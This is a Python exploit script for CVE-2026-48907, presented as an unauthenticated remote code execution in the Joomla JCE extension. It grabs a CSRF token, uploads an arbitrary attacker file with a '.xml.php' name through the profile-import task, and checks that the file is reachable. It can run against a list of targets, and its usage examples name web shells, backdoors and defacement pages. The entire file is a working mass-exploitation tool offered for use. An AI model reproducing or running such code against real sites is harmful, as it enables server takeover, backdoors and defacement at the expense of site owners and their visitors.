#!/usr/bin/env python3 from random import randint import re from time import sleep from requests import Session import urllib3 import argparse import sys import os # ============================================================ # CVE-2026-48907 Exploit - Custom File Upload # ============================================================ RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' CYAN = '\033[96m' BOLD = '\033[1m' RESET = '\033[0m' def read_custom_file(filepath): """Read the custom file content to upload""" try: with open(filepath, 'r') as f: return f.read() except FileNotFoundError: print(f"{RED}[!] File not found: {filepath}{RESET}") sys.exit(1) except Exception as e: print(f"{RED}[!] Error reading file: {e}{RESET}") sys.exit(1) def exploit(url, payload_content, verbose=False): # Disable SSL verification warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Generate random filename TMP_FILE = f"cve-2026-48907-{randint(1000, 9999)}.xml.php" PAYLOAD = payload_content s = Session() s.verify = False print(f"\n[{CYAN}+{RESET}] Target: {url}") print(f"[{CYAN}+{RESET}] Fetching CSRF token...") try: r = s.get(url + "/", timeout=15) if r.status_code != 200: print(f"[{RED}-{RESET}] Failed to access the target") return False except Exception as e: print(f"[{RED}-{RESET}] Connection error: {e}") return False # Find CSRF token m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r.text) or re.search( r']*name="([a-f0-9]{32})"[^>]*value="1"', r.text, re.I ) if m is None: print(f"[{RED}-{RESET}] Failed to find CSRF token") return False CSRF_TOKEN = m.group(1) print(f"[{CYAN}+{RESET}] CSRF Token: {CSRF_TOKEN}") # Upload the file print(f"[{CYAN}+{RESET}] Uploading file: {TMP_FILE}") try: r = s.post( url + "/index.php?option=com_jce", files={"profile_file": (TMP_FILE, PAYLOAD, "application/xml")}, data={"task": "profiles.import", CSRF_TOKEN: "1"}, timeout=15 ) if r.status_code != 200: print(f"[{RED}-{RESET}] Failed to import profile") print(f"[{GREEN}✓{RESET}] Not vulnerable to cve-2026-48907") return False except Exception as e: print(f"[{RED}-{RESET}] Upload error: {e}") return False print(f"[{CYAN}+{RESET}] Profile imported successfully!") # Test the uploaded file print(f"[{CYAN}+{RESET}] Testing uploaded file...") try: r = s.get(url + f"/tmp/{TMP_FILE}", timeout=15) except Exception as e: print(f"[{RED}-{RESET}] Error testing file: {e}") return False file_url = f"{url}/tmp/{TMP_FILE}" # Check if file was uploaded and accessible if r.status_code == 200: print(f"\n{'='*60}") print(f"{GREEN}[!!!!!] FILE UPLOADED SUCCESSFULLY!{RESET}") print(f"{GREEN}[!!!!!] Server IS VULNERABLE to CVE-2026-48907!{RESET}") print(f"{'='*60}") print(f"\n[{CYAN}+{RESET}] View your uploaded file: {file_url}") print(f"\n[{CYAN}+{RESET}] Quick access:") print(f" curl \"{file_url}\"") return True else: print(f"\n{'='*60}") print(f"{GREEN}[✓] Not vulnerable to CVE-2026-48907{RESET}") print(f"{'='*60}") print(f"\n[{YELLOW}!{RESET}] File uploaded but may not be accessible.") print(f"[{YELLOW}!{RESET}] Try manually: {file_url}") return False def main(): parser = argparse.ArgumentParser( description='CVE-2026-48907 Exploit - Custom File Upload', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 exploit.py -u http://target.com -F payload.php python3 exploit.py -f targets.txt -F shell.php python3 exploit.py -u http://target.com -F deface.html -v python3 exploit.py -f targets.txt -F backdoor.php -o results.txt """ ) group = parser.add_mutually_exclusive_group(required=True) group.add_argument('-u', '--url', help='Single target URL (e.g., http://target.com)') group.add_argument('-f', '--file', help='File containing list of target URLs (one per line)') parser.add_argument('-F', '--upload-file', required=True, help='Custom file to upload (e.g., shell.php, deface.html)') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') parser.add_argument('-o', '--output', help='Save successful upload URLs to file') args = parser.parse_args() # Read the custom file content payload_content = read_custom_file(args.upload_file) print(f"[{CYAN}+{RESET}] Loaded custom file: {args.upload_file} ({len(payload_content)} bytes)") # Build URL list if args.url: urls = [args.url.rstrip('/')] else: try: with open(args.file, 'r') as f: urls = [line.strip().rstrip('/') for line in f if line.strip() and not line.startswith("#")] except FileNotFoundError: print(f"{RED}[!] File not found: {args.file}{RESET}") sys.exit(1) except Exception as e: print(f"{RED}[!] Error reading file: {e}{RESET}") sys.exit(1) if not urls: print(f"{RED}[!] No targets found in file!{RESET}") sys.exit(1) # ─── RED ASCII BANNER ─── ascii_banner = r""" _____________ _______________ _______________ ________ ________ _____ ______ ________________________ \_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \ / \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / / \ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ / \______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/ \/ \/ \/ \/ \/ \/ |__| \/ \/ """ print(RED + ascii_banner + RESET) print(f"\n{BOLD}{CYAN}Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE{RESET}") print(f"{YELLOW}Author : 0xgh057r3c0n {RESET}\n") print(f"[*] Loaded {len(urls)} target(s)\n") # Open output file if specified if args.output: out_file = open(args.output, 'w') out_file.write(f"# CVE-2026-48907 - Successful Upload URLs\n") out_file.write(f"# Targets tested: {len(urls)}\n") out_file.write(f"# Uploaded file: {args.upload_file}\n\n") success_count = 0 for i, url in enumerate(urls, 1): print(f"\n[{YELLOW}*{RESET}] Target {i}/{len(urls)}") print(f"[{YELLOW}*{RESET}] {'='*50}") result = exploit(url, payload_content, args.verbose) if result: success_count += 1 upload_url = f"{url}/tmp/cve-2026-48907-*.xml.php" if args.output: out_file.write(f"{url}\n") if i < len(urls): print(f"\n[{YELLOW}*{RESET}] Moving to next target...") # Summary print(f"\n{'='*60}") print(f"{BOLD}Scan Complete!{RESET}") print(f"[*] Total targets: {len(urls)}") print(f"{GREEN}[+] Successfully uploaded: {success_count}{RESET}") if len(urls) - success_count > 0: print(f"{RED}[-] Failed: {len(urls) - success_count}{RESET}") print(f"{'='*60}") if args.output: out_file.write(f"\n# Successfully uploaded: {success_count}\n") out_file.close() print(f"\n[{CYAN}+{RESET}] Results saved to: {args.output}") if success_count > 0: sys.exit(0) else: sys.exit(1) if __name__ == "__main__": main()